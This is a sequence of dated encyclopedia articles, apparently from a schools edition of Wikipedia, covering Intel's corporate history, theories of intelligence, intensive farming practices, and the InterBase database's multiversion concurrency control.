          Employment
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          Intel is not typical of its Silicon Valley counterparts. Its culture is not as relaxed and informal as companies such as Google or Sun Microsystems. It has a fairly strict meritocracy that rewards work generously and does not keep underrated employees around for very long.


          The firm promotes very heavily from within, most notably in its executive suite. The company has resisted the trend toward outsider CEOs. Paul Otellini was a 30-year veteran of the company when he assumed the role of CEO. All of his top lieutenants have risen through the ranks after many years with the firm. In many cases, Intel's top executives have spent their entire working careers with Intel, a very rare occurrence in volatile Silicon Valley.


          Intel has a mandatory retirement policy for its CEO when they reach age 65, but only one CEO, Barrett, has actually retired at 65. Previous CEOs all retired before reaching that age; Grove retired at 62, while both Robert Noyce and Gordon Moore retired at 58. At 57, Otellini has a long career at the helm ahead of him, assuming he goes until age 65 and performs satisfactorily.


          No one has an office; everyone, even Otellini, sits in a cubicle. This is designed to promote egalitarianism among employees, but some new hires have difficulty adjusting to this change. Intel is not alone in this policy. Hewlett-Packard has a similar no-office policy.


          Outside of California, the company has facilities in China, Costa Rica, Malaysia, Israel, Ireland, India, Philippines, and Russia internationally. In the U.S. Intel employs significant numbers of people in Colorado, Massachusetts, Arizona, New Mexico, Oregon, Texas, Washington, and Utah. In Oregon, Intel is the state's largest employer with over 16,000 employees, primarily in Hillsboro. The company is the largest industrial employer in New Mexico while in Arizona the company has over 10,000 employees.


          


          Diversity Initiative


          Intel has a Diversity Initiative, including employee diversity groups as well as supplier diversity programs. Like many companies with employee diversity groups, they include groups based on race and nationality as well as sexual identity and religion. In 1994, Intel sanctioned one of the earliest corporate Gay, Lesbian, Bisexual, and Transgender employee groups, and supports a Muslim employees group, a Jewish employees group, and a Bible-based Christian group.


          Intel received a 100% rating on the first Corporate Equality Index released by the Human Rights Campaign in 2002. It has maintained this rating in 2003 and 2004. In addition, the company was named one of the 100 Best Companies for Working Mothers in 2005 by Working Mother magazine. However, Intel's working practices still face criticism, most notably from Ken Hamidi, a former employee who has been subject to multiple unsuccessful lawsuits from Intel.


          


          Finances
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          Intel's market capitalization is $153.42 billion (October 31, 2007). It publicly trades on NASDAQ with the symbol INTC, and is a member of the following indices: Dow Jones Industrial Average, S&P 500, NASDAQ-100, SOX (PHLX Semiconductor Sector), and GSTI Software Index.


          INTC is a widely-held stock then, it reached a low closing price of $14.62 on September 23, 2002.



          


          Advertising and brand management


          Intel has become one of the world's most recognizable computer brands following its long-running "Intel Inside" campaign. The campaign, which started in 1991, was created by Intel marketing manager Dennis Carter. The five-note jingle was introduced the following year and by its tenth anniversary was being heard in 130 countries around the world.
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          The Intel Inside program was very lucrative for advertisers and further served to broaden the company's awareness as a key ingredient inside PCs. Intel paid half the advertising costs for any ad that used the "Intel Inside" logo. If the ads didn't meet these requirements, Intel did not pay half the cost, and the advertiser was prohibited from using the "Intel Inside" logo. PC companies advertising products containing Intel chips are required to include the jingle in their film and television advertisements in order to receive the reimbursement.


          The Centrino advertising campaign has been hugely successful, leading to the ability to access wireless internet from a laptop becoming linked in consumers' minds to Intel chips. In the UK this has caused some controversy, as the ASA upheld complaints that this was a misleading advert.


          In December 2005, Intel phased out the "Intel Inside" campaign in favour of a new logo and the slogan, "Leap ahead". The new logo is clearly inspired by the "Intel Inside" logo.


          In 2006, Intel expanded its promotion of open specification platforms beyond Centrino, to include the Viiv media centre PC and the business desktop Intel vPro.


          In mid January 2006, Intel announced that they were dropping the long running Pentium name from its processors. The Pentium name was first used to refer to the P5 core Intel processors (Pent refers to the 5 in P5,) and was done to circumvent court rulings that prevent the trademarking of a string of numbers, so competitors could not just call their processor the same name, as had been done with the prior 386 and 486 processors. (Both of which had copies manufactured by both IBM and AMD). They phased out the Pentium names from mobile processors first, when the new Yonah chips, branded Core Solo and Core Duo, were released. The desktop processors changed when the Core 2 line of processors were released.


          In March 2007, the Intel logo was shown briefly in one of the scenes of the movie, " The Last Mimzy."


          As from 2008, Intel plans to shift the emphasis of its "Intel Inside" campaign from traditional media such as television and print to newer media such as the Internet. Intel will require that a minimum of 35% of the money it provides to the companies in its co-op program be used for online marketing.


          Intel's "Intel Inside" campaign has generally been considered to be world class marketing. However, over the years there have been several plays on the Intel branding scheme which have appeared on the web. While such jabs at Intel are obviously beyond the company's ability to control, they do tend to show that not everyone believes that Intel's programs and policies are always world class. For example, there is the popular "evil inside" logo, the ubiquitous picture of a tombstone with "R.I.P Intel Inside"


          


          Sonic logo


          The famous "D♭ D♭ G♭ D♭ A♭" jingle, sonic logo, tag, audio mnemonic ( MP3 file of sonic logo) was written by Walter Werzowa from the Austrian 1980s sampling band Edelweiss.


          


          Competition


          During the 1980s, Intel was among the top ten worldwide semiconductor sales leaders (10th in 1987), dominated by Japanese chip makers. In 1991, Intel achieved the number one ranking and has held it ever since. Other top semiconductor companies include AMD, Samsung, Texas Instruments, Toshiba and STMicroelectronics.


          Competitors in PC chipsets include VIA Technologies, SiS, ATI, and Nvidia. Intel's competitors in networking include Freescale, Infineon, Broadcom, Marvell Technology Group and AMCC, and its competitors in flash memory include Spansion, Samsung, Qimonda, Toshiba, STMicroelectronics, and Hynix.


          The only major competitor to Intel on the x86 processor market is Advanced Micro Devices (AMD), with which Intel has had full cross-licensing agreements since 1976: each partner can use the other's patented technological innovations without charge after a certain time. However, the cross-licensing agreement is canceled in the event of an AMD bankruptcy or takeover. Some smaller competitors such as VIA and Transmeta produce low-power processors for small factor computers and portable equipment.


          


          Lawsuits


          In September 2005, Intel filed its response to an AMD lawsuit, disputing AMD's claims, and stating that its business practices are fair and lawful. In its rebuttal, Intel laid out the skeleton of its legal defense, which included a deconstruction of AMD's offensive strategy and levied the charge that AMD's long-struggling market position is largely a result of bad business decisions and management incompetence, including underinvestment in essential manufacturing capacity and over-reliance on contracting out chip foundries.


          Legal experts predict the lawsuit will most likely drag out for a number of years, since Intel's response indicates they are not likely to try to settle with AMD.


          In October 2006, a Transmeta lawsuit was filed against Intel for patent infringement covering computer architecture and power efficiency technologies. In October 2007, the Transmeta-Intel lawsuit was settled, with Intel agreeing to pay an initial US$150 million and US$20 million per year for the next 5 years. Both companies agreed to drop lawsuits against each other while Intel was granted a perpetual non-exclusive license to use current and future patented Transmeta technologies in its chips for 10 years.


          


          Anti-competitive allegations by regulatory bodies


          In July 2007, the European Commission formally accused Intel of anti-competitive practices, mostly against its main competitor AMD. The allegations, going back to 2003, include giving preferential prices to computer makers getting most or all CPU chips from Intel, paying computer makers to delay or cancel the launch of products using AMD chips and providing CPU chips at below cost to governments and educational institutions. Intel responded that the allegations were unfounded and instead qualified its market behaviour as consumer-friendly. General counsel Bruce Sewell also responded that the Commission had misunderstood some factual assumptions concerning price and manufacturing costs.


          In February 2008, a spokesman for the company announced that Intel's office in Munich had been "raided" by European Union competition regulators investigating its business practices. Intel reported that it was cooperating with investigators.


          If found guilty of stifling competition, Intel could be fined up to 10% of its annual revenue. Rival AMD also subsequently launched a website focusing on these allegations.


          In September 2007, South Korean regulators formally accused Intel of breaking antitrust law. The inquiry began in February 2006 when officials raided Intel's South Korean offices. If found guilty, the company risks being fined up to 3% of its annual sales.


          


          Quotes


          
            
              Bad companies are destroyed by crisis, Good companies survive them, Great companies are improved by them

            


            
              Andy Grove, after the Pentium Processor flaw in December 1994
            

          


          


          Environmental Record


          During the months of july-june in 2006 Intel's facilities were responsible for the release of more than 1580 lbs of VOC emissions. Intel has had cover ups in the past to try and make it seem that they are not harming the environment. In 2003 there was 1.4 tons of carbon tetrachloride measured from just one of Intel's acid scrubbers. Intel used a different way to calculate their emissions instead of the proper way and reported for the whole year that there was zero emissions being released in their compounds and the release of carbon tetrachloride. Intel has a facility located in Rio Ranche that overlooks a village. The hills of its location allow for emissions to travel at ground level. The heavy emissions the facility gives off stays trapped in the same air that animals and humans are breathing, instead of evaporating into the air like people assume would occur. In the village next to the Intel facility there were reports of dog's dying. The dogs were examined after their deaths and with the examination found high levels of the dangerous toxic, Silica, present in their lungs. Silica is one just of of many hazerdous chemicals released into the air by Intel's factories.
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          Intelligence (also called intellect) is an umbrella term used to describe a property of the mind that encompasses many related abilities, such as the capacities to reason, to plan, to solve problems, to think abstractly, to comprehend ideas, to use language, and to learn. There are several ways to define intelligence. In some cases, intelligence may include traits such as creativity, personality, character, knowledge, or wisdom. However, some psychologists prefer not to include these traits in the definition of intelligence.


          


          Definitions


          Intelligence comes from the Latin verb "intellegere", which means "to understand". By this rationale, intelligence (as understanding) is arguably different from being "smart" (able to adapt to one's environment), or being "clever" (able to creatively adapt).


          At least two major "consensus" definitions of intelligence have been proposed. First, from Intelligence: Knowns and Unknowns, a report of a task force convened by the American Psychological Association in 1995:


          
            
              Individuals differ from one another in their ability to understand complex ideas, to adapt effectively to the environment, to learn from experience, to engage in various forms of reasoning, to overcome obstacles by taking thought. Although these individual differences can be substantial, they are never entirely consistent: a given persons intellectual performance will vary on different occasions, in different domains, as judged by different criteria. Concepts of "intelligence" are attempts to clarify and organize this complex set of phenomena. Although considerable clarity has been achieved in some areas, no such conceptualization has yet answered all the important questions and none commands universal assent. Indeed, when two dozen prominent theorists were recently asked to define intelligence, they gave two dozen somewhat different definitions.

            

          


          A second definition of intelligence comes from " Mainstream Science on Intelligence", which was signed by 52 intelligence researchers in 1994:


          
            
              A very general mental capability that, among other things, involves the ability to reason, plan, solve problems, think abstractly, comprehend complex ideas, learn quickly and learn from experience. It is not merely book learning, a narrow academic skill, or test-taking smarts. Rather, it reflects a broader and deeper capability for comprehending our surroundings"catching on", "making sense" of things, or "figuring out" what to do.

            

          


          Researchers in the fields of psychology and learning have also defined human intelligence:


          
            
              	Researcher

              	Quotation
            


            
              	Alfred Binet

              	[J]udgment, otherwise called good sense, practical sense, initiative, the faculty of adapting one's self to circumstances...auto-critique.
            


            
              	David Wechsler

              	[T]he aggregate or global capacity of the individual to act purposefully, to think rationally, and to deal effectively with his environment.
            


            
              	Cyril Burt

              	[I]nnate general cognitive ability
            


            
              	Howard Gardner

              	To my mind, a human intellectual competence must entail a set of skills of problem solvingenabling the individual to resolve genuine problems or difficulties that he or she encounters and, when appropriate, to create an effective productand must also entail the potential for finding or creating problemsand thereby laying the groundwork for the acquisition of new knowledge.
            


            
              	Linda Gottfredson

              	[T]he ability to deal with cognitive complexity
            


            
              	Sternberg & Salter

              	[G]oal-directed adaptive behaviour
            


            
              	
            

          


          


          Theories of intelligence


          The most widely accepted theory of intelligence is based on psychometrics testing or intelligence quotient (IQ) tests. However, dissatisfaction with traditional IQ tests has led to the development of a number of alternative theories, all of which suggest that intelligence is the result of a number of independent abilities that uniquely contribute to human performance.


          


          Psychometric approach


          Despite the variety of concepts of intelligence, the approach to understanding intelligence with the most supporters and published research over the longest period of time is based on psychometrics testing. Such intelligence quotient (IQ) tests include the Stanford-Binet, Raven's Progressive Matrices, the Wechsler Adult Intelligence Scale and the Kaufman Assessment Battery for Children.


          All forms of IQ tests correlate highly with one another. The traditional view is that these tests measure g or " general intelligence factor". However, this is by no means universally accepted. Charles Spearman (1924) is credited with having developed the concept of g. g can be derived as the principal factor using the mathematical method of factor analysis. One common view is that these abilities are hierarchically arranged with g at the vertex (or top, overlaying all other cognitive abilities). G itself is sometimes considered to be a two part construct, gF and gC, which stand for fluid and crystallized intelligence. Carroll expanded this hierarchy into a Three-Stratum theory, also known as the Cattell-Horn-Carroll theory of cognitive abilities (or simply CHC Theory).


          Intelligence, as measured by IQ and other aptitude tests, is widely used in educational, business, and military settings due to its efficacy in predicting behaviour. G is highly correlated with many important social outcomes - individuals with low IQs are more likely to be divorced, have a child out of marriage, be incarcerated, and need long term welfare support, while individuals with high IQs are associated with more years of education, higher status jobs and higher income. Intelligence is significantly correlated with successful training and performance outcomes, and g is the single best predictor of successful job performance.


          


          Controversies


          IQ tests were originally devised specifically to predict educational achievement. The inventors of the IQ did not believe they were measuring fixed intelligence. Despite this, critics argue that intelligence tests have been used to support nativistic theories in which intelligence is viewed as a qualitatively unique faculty with a relatively fixed quantity.


          Critics of the psychometric approach point out that people in the general population have a somewhat different and broader conception of intelligence than what is measured in IQ tests. In turn, they argue that the psychometric approach measures only a part of what is commonly understood as intelligence. Furthermore, skeptics argue that even though tests of mental abilities are correlated, people still have unique strengths and weaknesses in specific areas. Consequently they argue that psychometric theorists over-emphasize g.


          Researchers in the field of human intelligence have encountered a considerable amount of public concern and criticism-- much more than scientists in other areas normally receive. A number of critics have challenged the relevance of psychometric intelligence in the context of everyday life. There have also been controversies over genetic factors in intelligence, particularly questions regarding the relationship between race and intelligence and sex and intelligence. Another controversy in the field is how to interpret the increases in test scores that have occurred over time, the so-called Flynn effect.


          Stephen Jay Gould was one of the most vocal critics of intelligence testing. In his book, The Mismeasure of Man, Gould argued that intelligence is not truly measurable, and also challenged the hereditarian viewpoint on intelligence. Many of Gould's criticisms were aimed at Arthur Jensen, who responded that his work had been misrepresented, also stating that making conclusions about modern IQ tests by criticizing the flaws of early intelligence research is like condemning the auto industry by criticizing the performance of the Model T.


          


          Multiple intelligences


          Howard Gardner's theory of multiple intelligences is based on studies not only on normal children and adults but also by studies of gifted individuals (including so-called " savants"), of persons who have suffered brain damage, of experts and virtuosos, and of individuals from diverse cultures. This led Gardner to break intelligence down into at least eight different components: logical, linguistic, spatial, musical, kinesthetic, naturalist, intrapersonal and interpersonal intelligences. He argues that psychometric tests address only linguistic and logical plus some aspects of spatial intelligence; other forms have been entirely ignored. Moreover, the paper and-pencil format of most tests rules out many kinds of intelligent performance that matter in everyday life, as social intelligence.


          Most of theories of multiple intelligences are relatively recent in origin, though it should be noted that Louis Thurstone proposed a theory of multiple "primary abilities" in the early 20th Century.


          


          Triarchic theory of intelligence


          Robert Sternberg's triarchic theory of intelligence proposes three fundamental aspects of intelligence-analytic, creative, and practical--of which only the first is measured to any significant extent by mainstream tests. His investigations suggest the need for a balance between analytic intelligence, on the one hand, and creative and especially practical intelligence on the other.


          


          Emotional intelligence


          Daniel Goleman and several other researchers have developed the concept of emotional intelligence and claim it is at least as important as more traditional sorts of intelligence. These theories grew from observations of human development and of brain injury victims who demonstrate an acute loss of a particular cognitive function -- e.g. the ability to think numerically, or the ability to understand written language -- without showing any loss in other cognitive areas.


          


          Empirical evidence


          IQ proponents have pointed out that IQ's predictive validity has been repeatedly demonstrated, for example in predicting important non-academic outcomes such as job performance (see IQ), whereas the various multiple intelligence theories have little or no such support. Meanwhile, the relevance and even the existence of multiple intelligences have not been borne out when actually tested. A set of ability tests that do not correlate together would support the claim that multiple intelligences are independent of each other. However, thus far no one has developed such a set of tests.


          


          Evolution of intelligence


          Our hominid and human ancestors evolved large and complex brains exhibiting an ever-increasing intelligence through a long and mostly unknown evolutionary process. This process was either driven by the direct adaptive benefits of intelligence, or  alternatively  driven by its indirect benefits within the context of sexual selection as a reliable signal of genetic resistance against pathogens.


          


          Factors affecting intelligence


          Intelligence is an ill-defined, difficult to quantify concept. Accordingly, the IQ tests used to measure intelligence provide only approximations of the posited 'real' intelligence. In addition, a number of theoretically unrelated properties are known to correlate with IQ such as race, gender and height but since correlation does not imply causation the true relationship between these factors is uncertain. Factors affecting IQ may be divided into biological and environmental.


          


          Biological


          Evidence suggests that genetic variation has a significant impact on IQ, accounting for three fourths in adults. Despite the high heritability of IQ, few genes have been found to have a substantial effect on IQ, suggesting that IQ is the product of interaction between multiple genes.


          Other biological factors correlating with IQ include ratio of brain weight to body weight and the volume and location of gray matter tissue in the brain.


          Because intelligence appears to be at least partly dependent on brain structure and the genes shaping brain development, it has been proposed that genetic engineering could be used to enhance the intelligence of animals, a process sometimes called biological uplift in science fiction. Experiments on mice have demonstrated superior ability in learning and memory in various behavioural tasks.


          


          Environmental


          Evidence suggests that family environmental factors may have an effect upon childhood IQ, accounting for up to a quarter of the variance. On the other hand, by late adolescence this correlation disappears, such that adoptive siblings are no more similar in IQ than strangers. Moreover, adoption studies indicate that, by adulthood, adoptive siblings are no more similar in IQ than strangers, while twins and full siblings show an IQ correlation.


          Consequently, in the context of the nature versus nurture debate, the "nature" component appears to be much more important than the "nurture" component in explaining IQ variance in the general population.


          Cultural factors also play a role in intelligence. For example, on a sorting task to measure intelligence, Westerners tend to take a taxonomic approach while the Kpelle people take a more functional approach. For example, instead of grouping food and tools into separate categories, a Kpelle participant stated "the knife goes with the orange because it cuts it"


          


          Ethical issues


          Since intelligence is susceptible to modification through the manipulation of environment, the ability to influence intelligence raises ethical issues. Transhumanist theorists study the possibilities and consequences of developing and using techniques to enhance human abilities and aptitudes, and ameliorate what it regards as undesirable and unnecessary aspects of the human condition; eugenics is a social philosophy which advocates the improvement of human hereditary traits through various forms of intervention. The perception of eugenics has varied throughout history, from a social responsibility required of society, to an immoral, racist stance.


          Neuroethics considers the ethical, legal and social implications of neuroscience, and deals with issues such as difference between treating a human neurological disease and enhancing the human brain, and how wealth impacts access to neurotechnology. Neuroethical issues interact with the ethics of human genetic engineering.


          


          Other species


          Although humans have been the primary focus of intelligence researchers, scientists have also attempted to investigate animal intelligence, or more broadly, animal cognition. These researchers are interested in studying both mental ability in a particular species, and comparing abilities between species. They study various measures of problem solving, as well as mathematical and language abilities. Some challenges in this area are defining intelligence so that it means the same thing across species (eg. comparing intelligence between literate humans and illiterate animals), and then operationalizing a measure that accurately compares mental ability across different species and contexts.


          Wolfgang Khler's pioneering research on the intelligence of apes is a classic example of research in this area. Stanley Coren's book, The Intelligence of Dogs is a notable popular book on the topic. Nonhuman animals particularly noted and studied for their intelligence include chimpanzees, bonobos (notably the language-using Kanzi) and other great apes, dolphins, elephants and to some extent parrots and ravens. Controversy exists over the extent to which these judgments of intelligence are accurate.


          


          Artificial intelligence


          Artificial intelligence (or AI) is both the intelligence of machines and the branch of computer science which aims to create it, through "the study and design of intelligent agents" or "rational agents", where an intelligent agent is a system that perceives its environment and takes actions which maximize its chances of success. General intelligence or strong AI has not yet been achieved and is a long-term goal of AI research.


          Among the traits that researchers hope machines will exhibit are reasoning, knowledge, planning, learning, communication, perception and the ability to move and manipulate objects.
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          Intensive farming or intensive agriculture is an agricultural production system characterized by the high inputs of capital, fertilizers, labour, or labour-saving technologies such as pesticides relative to land area. This is in contrast to the concept of Extensive Agriculture which involves a low input of materials and labour with the crop yield depending largely on the naturally available soil fertility, water supply or other land qualities.
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          Modern day forms of intensive crop based agriculture involve the use of mechanical ploughing, chemical fertilizers, herbicides, fungicides, insecticides, plant growth regulators and/or pesticides. It is associated with the increasing use of agricultural mechanization, which have enabled a substantial increase in production.


          Intensive animal farming practices can involve very large numbers of animals raised on limited land which require large amounts of food, water and medical inputs (required to keep the animals healthy in cramped conditions).. Very large or confined indoor intensive livestock operations (particularly descriptive of common US farming practices) are often referred to as Factory farming and are criticised by opponents for the low level of animal welfare standards and associated pollution and health issues.


          


          Advantages


          Intensive agriculture has a number of benefits:


          
            	Significantly increased yield per available space than extensive farming.


            	Often leads to cheaper priced products because of better general production rate for the cost of raw materials.


            	Not much space for the animal(s) to move therefore less energy used up; so less food supplied to the cattle, which leads to cheaper products.


            	Many people feel it's necessary to use intensive farming for better profits and economy

          


          


          Disadvantages


          Intensive farming alters the environment in many ways.


          
            	Limits the natural habitat of some wild creatures and can lead to soil erosion.


            	Use of fertilizers can alter the biology of rivers and lakes. Some environmentalists attribute the hypoxic zone in the Gulf of Mexico as being encouraged by nitrogen fertilization of the algae bloom.


            	Pesticides can kill useful insects as well as those that destroy crops.


            	Generally not sustainable.


            	Often results in an inferior product.


            	Use of chemicals on fields creates run-off, excess runs off into rivers and lakes causing pollution.


            	Animal welfare is significantly decreased compared to organic, animals are kept in tight living conditions, over-fed and only have a small life span before being slaughtered

          


          


          Pre modern intensive farming


          Pre modern intensive farming techniques and structures include terracing, rice paddies, and various forms of aquaculture.


          


          Oysters


          "Oysters were likely the first sea animal to be transported from one area to another and cultivated as food. The ancient world, while knowing little about the reproduction of oysters, knew much about the conditions necessary for their growth. Pliny the Elder, a noted Roman naturalist of the first century, has left an account of artificial oyster beds established in Lake Lucrinus near Naples by a Sergius Orata about 95 B.C. Orata's methods consisted of preparing the grounds by removing other forms of marine life, planting seed oysters, cultivating the oysters by keeping them separated in order to grow to a well-formed, mature size, and finally harvesting them when they were ready for market. Modern oyster farming, based on the knowledge of oyster biology, basically follows the Roman procedure.Fisheries and Oceans Canada] article American Oyster


          


          Terrace
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          In agriculture, a terrace is a leveled section of a hilly cultivated area, designed as a method of soil conservation to slow or prevent the rapid surface runoff of irrigation water. Often such land is formed into multiple terraces, giving a stepped appearance. The human landscapes of rice cultivation in terraces that follow the natural contours of the escarpments like contour ploughing is a classic feature of the island of Bali and the Banaue Rice Terraces in Benguet, Philippines. In Peru, the Inca made use of otherwise unusable slopes by drystone walling to create terraces.


          


          Rice paddy


          A paddy field is a flooded parcel of arable land used for growing rice and other semiaquatic crops. Paddy fields are a typical feature of rice-growing countries of east and southeast Asia including Malaysia, China, Sri Lanka, Myanmar, Thailand, Korea, Japan, Vietnam, Taiwan, Indonesia, India, and the Philippines. They are also found in other rice-growing regions such as Piedmont (Italy), the Camargue (France) and the Artibonite Valley (Haiti). They can occur naturally along rivers or marshes, or can be constructed, even on hillsides, often with much labour and materials. They require large quantities of water for irrigation, which can be quite complex for a highly developed system of paddy fields. Flooding provides water essential to the growth of the crop. It also gives an environment favourable to the strain of rice being grown, and is hostile to many species of weeds. As the only draft animal species which is adapted for life in wetlands, the water buffalo is in widespread use in Asian rice paddies. There are significant adverse environmental impacts from rice paddy cultivation due to the generation of large quantities of methane gas. World methane production due to rice paddies has been estimated in the range of 50 to 100 million tonnes per annum; this level of greenhouse gas generation is a large component of the global warming threat and derives simply from an expanding human population.


          Rice-farming and the use of paddies in Korea is ancient. Korean paddy-farming can provide cultural background on the use of paddies in East Asia. A pit-house at the Daecheon-ni site yielded carbonized rice grains and radiocarbon dates indicating that rice cultivation may have begun as early as the Middle Jeulmun Pottery Period (c. 3500-2000 B.C.) in the Korean Peninsula (Crawford and Lee 2003). The earliest rice cultivation in the Korean Peninsula may have used dry-fields instead of paddies.


          The earliest Mumun features were usually located in low-lying narrow gulleys that were naturally swampy and fed by the local stream system. Some Mumun paddies in flat areas were made of a series of squares and rectangles separated by bunds approximately 10 cm in height, while terraced paddies consisted of long irregularly shapes that followed natural contours of the land at various levels (Bale 2001; Kwak 2001).


          Mumun Period rice farmers used all of the elements that are present in today's paddies such terracing, bunds, canals, and small reservoirs. We can grasp some paddy-farming techniques of the Middle Mumun (c. 850-550 B.C.) from the well-preserved wooden tools excavated from archaeological rice paddies at the Majeon-ni Site. However, iron tools for paddy-farming were not introduced until sometime after 200 B.C. The spatial scale of individual paddies, and thus entire paddy-fields, increased with the regular use of iron tools in the Three Kingdoms of Korea Period (c. A.D. 300/400-668).


          


          French Intensive Horticulture


          


          Modern intensive farming types


          Modern intensive farming refers to the industrialized production of animals (livestock, poultry and fish) and crops. The methods deployed are designed to produce the highest output at the lowest cost; usually using economies of scale, modern machinery, modern medicine, and global trade for financing, purchases and sales. The practice is widespread in developed nations, and most of the meat, dairy, eggs, and crops available in supermarkets are produced in this manner.


          


          Sustainable intensive farming


          Biointensive agriculture focuses on maximizing efficiency: yield per unit area, yield per energy input, yield per water input, etc. Agroforestry combines agriculture and orchard/forestry technologies to create more integrated, diverse, productive, profitable, healthy and sustainable land-use systems. Intercropping can also increase total yields per unit of area or reduce inputs to achieve the same, and thus represents (potentially sustainable) agricultural intensification. Unfortunately, yields of any specific crop often diminish and the change can present new challenges to farmers relying on modern farming equipment which is best suited to monoculture.


          


          Intensive aquaculture


          Aquaculture is the cultivation of the natural produce of water (fish, shellfish, algae, seaweed and other aquatic organisms). Intensive Aquaculture can often involve tanks or other highly controlled systems which are designed to boost production for the available volume or area of water resource.


          


          Intensive livestock farming


          The modern examples of intensive farming are broadly referred to as Concentrated Animal Feeding Operations (CAFOs) or often termed Factory farming. These include:


          
            	Intensive pig farming or Intensive piggery farming


            	Large scale chicken farms


            	Cattle feed lots

          


          


          Managed intensive grazing


          This sustainable intensive livestock management system is increasingly used to optimize production within a sustainability framework and is generally not considered Factory farming.


          


          Individual industrial agriculture farm


          Major challenges and issues faced by individual industrial agriculture farms include:


          
            	integrated farming systems


            	crop sequencing


            	water use efficiency


            	nutrient audits


            	herbicide resistance


            	financial instruments (such as futures and options)


            	collect and understand own farm information;


            	knowing your products


            	knowing your markets


            	knowing your customers


            	satisfying customer needs


            	securing an acceptable profit margin


            	cost of servicing debt;


            	ability to earn and access off-farm income;


            	management of machinery and stewardship investments.

          


          


          Integrated farming systems


          An integrated farming system is a progressive biologically integrated sustainable agriculture system such as Integrated Multi-Trophic Aquaculture or Zero waste agriculture whose implementation requires exacting knowledge of the interactions of numerous species and whose benefits include sustainability and increased profitability.


          Elements of this integration can include:


          
            	intentionally introducing flowering plants into agricultural ecosystems to increase pollen-and nectar-resources required by natural enemies of insect pests


            	using crop rotation and cover crops to suppress nematodes in potatoes

          


          


          Crop sequencing
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          Crop rotation or crop sequencing is the practice of growing a series of dissimilar types of crops in the same space in sequential seasons for various benefits such as to avoid the build up of pathogens and pests that often occurs when one species is continuously cropped. Crop rotation also seeks to balance the fertility demands of various crops to avoid excessive depletion of soil nutrients. A traditional component of crop rotation is the replenishment of nitrogen through the use of green manure in sequence with cereals and other crops. It is one component of polyculture. Crop rotation can also improve soil structure and fertility by alternating deep-rooted and shallow-rooted plants.


          


          Water use efficiency
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          Crop irrigation accounts for 70% of the world's fresh water use. The agricultural sector of most countries is important both economically and politically, and water subsidies are common. Conservation advocates have urged removal of all subsidies to force farmers to grow more water-efficient crops and adopt less wasteful irrigation techniques.


          For crop irrigation and plant irrigation, optimal water efficiency means minimizing losses due to evaporation or runoff. An evaporation pan can be used to determine how much water is required to irrigate the land. Flood irrigation, the oldest and most common type, is often very uneven in distribution, as parts of a field may receive excess water in order to deliver sufficient quantities to other parts. Overhead irrigation, using centre-pivot or lateral-moving sprinklers, gives a much more equal and controlled distribution pattern, but in extremely dry conditions much of the water may evaporate before it reaches the ground. Drip irrigation is the most expensive and least-used type, but offers the best results in delivering water to plant roots with minimal losses.


          As changing irrigation systems can be a costly undertaking, conservation efforts often concentrate on maximizing the efficiency of the existing system. This may include chiseling compacted soils, creating furrow dikes to prevent runoff, and using soil moisture and rainfall sensors to optimize irrigation schedules.


          Water catchment management measures include recharge pits, which capture rainwater and runoff and use it to recharge ground water supplies. This helps in the formation of ground water wells etc. and eventually reduces soil erosion caused due to running water.


          


          Nutrient audits


          Better nutrient audits allow farmers to spend less money on nutrients and to create less pollution since less nutrient is added to the soil and thus there is less to run off and pollute. Methodologies for assessing soil nutrient balances have been studied and used for farms and entire countries for decades. But at present "there is no standard methodology for calculating nutrient budgets and there are no accepted 'benchmarks' figures against which to assess farm nutrient use efficiency. [A standard methodology] for calculating nutrient budgets on farms [is hoped to help reduce] diffuse water and air pollution from agriculture [through] best management practices in the use of fertilisers and organic manures, as part of the continued development of economically and environmentally sustainable farming systems."


          


          Herbicide resistance


          In agriculture large scale and systematic weeding is usually required, often performed by machines such as cultivators or liquid herbicide sprayers. Selective herbicides kill specific targets while leaving the desired crop relatively unharmed. Some of these act by interfering with the growth of the weed and are often based on plant hormones. Weed control through herbicide is made more difficult when the weeds become resistant to the herbicide. Solutions include:


          
            	using cover crops (especially those with allelopathic properties) that out-compete weeds and/or inhibit their regeneration.


            	using a different herbicide


            	using a different crop (e.g. genetically altered to be herbicide resistant; which ironically can create herbicide resistant weeds through horizontal gene transfer)


            	using a different variety (e.g. locally-adapted variety that resists, tolerates, or even out-competes weeds)


            	ploughing


            	ground cover such as mulch or plastic


            	manual removal
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          InterBase is a relational database management system (RDBMS) currently developed and marketed by CodeGear. InterBase is distinguished from other DBMSs by its small footprint, close to zero administration requirements, and multi-generational architecture. InterBase runs on the Linux, Microsoft Windows, Mac OS X and Solaris operating systems.


          


          Technology


          In many respects, InterBase is quite conventional; it is a SQL-92-compliant relational database and supports standard interfaces such as JDBC, ODBC, and ADO.NET. However, certain technical features distinguish InterBase from other products.


          


          Small footprint


          A full InterBase 2007 server installation requires around 40 MB on disk. This is significantly smaller than the client installation of many competing database servers. The server uses very little memory when idle. A minimum InterBase client install requires about 400 KB of disk space.


          


          Embedded or server


          InterBase offers the option to run as an embedded database or regular server.


          


          Minimal administration


          InterBase servers typically do not require full-time database administrators.


          


          Multi-generational architecture


          


          Concurrency control


          Consider a simple banking application where two users have access to the funds in a particular account. Bob reads the account and finds there is 1000 dollars in it, so he withdraws 500. Jane reads the same account before Bob has changed it, sees 1000 dollars, and withdraws 800. The account should be 300 dollars overdrawn, however, depending on which transaction gets processed first it will contain either 500 or 200 dollars. This poses a serious problem and needless to say, any database system with multi-user access needs some sort of system to deal with these scenarios.


          The techniques used to solve this and other related problems are known in the database industry as concurrency control.


          Traditional products used locks which stated that a particular transaction was going to modify a record. Once the lock was placed, no one else could read or modify the data until the lock was released. The lock may block changes to a single record, a page (a group of records stored together on disk) of records, or every record examined by a particular transaction, depending on the lock resolution. Lock resolution is a tradeoff between performance and accuracy -- by blocking updates at the page level, for example, some updates will be blocked which do not in fact conflict with updates made by other transactions, but performance will be improved in comparison with record level locks.


          Locking becomes an even bigger problem when combined with another feature common to all such systems, transaction isolation. This is because transactions typically involve both a read and a write -- in this example, to read the value of the account and then change it. In order to show an isolated view of the data the entire transaction, including records read but never written to, must be locked in many database servers.


          In InterBase, readers do not block writers. Instead, each record in the database can exist in more than one version. For instance, when Bob and Jane read the accounts they would both get "version 1", reading 1000 dollars. When Bob then changes the account to make his withdrawal the data is not overwritten, but instead a new "version 2" will be created with 500 dollars. Jane's attempt to make her 800 dollar withdrawal will notice that there is a new version 2, and her attempt to make a withdrawal will fail.


          This approach to concurrency control is called multiversion concurrency control. InterBase's implementation of multiversion concurrency control is commonly called its multi-generational architecture. InterBase was the second commercial database to use this technique; the first was DEC's Rdb/ELN.


